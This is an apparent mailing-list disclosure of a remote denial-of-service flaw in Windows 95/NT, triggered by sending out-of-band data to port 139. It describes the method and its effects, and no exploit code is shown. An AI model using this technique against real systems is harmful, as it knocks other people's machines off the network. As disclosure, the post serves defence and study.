Subject: Windows 95/NT DoS
Hello,
It is possible to remotely cause denial of service to any windows
95/NT user. It is done by sending OOB [Out Of Band] data to an
established connection you have with a windows user. NetBIOS [139] seems
to be the most effective since this is a part of windows. Apparently
windows doesn't know how to handle OOB, so it panics and crazy things
happen. I have heard reports of everything from windows dropping carrier
to the entire screen turning white. Windows also sometimes has trouble
handling anything on a network at all after an attack like this. A
reboot fixes whatever damage this causes. Code follows.
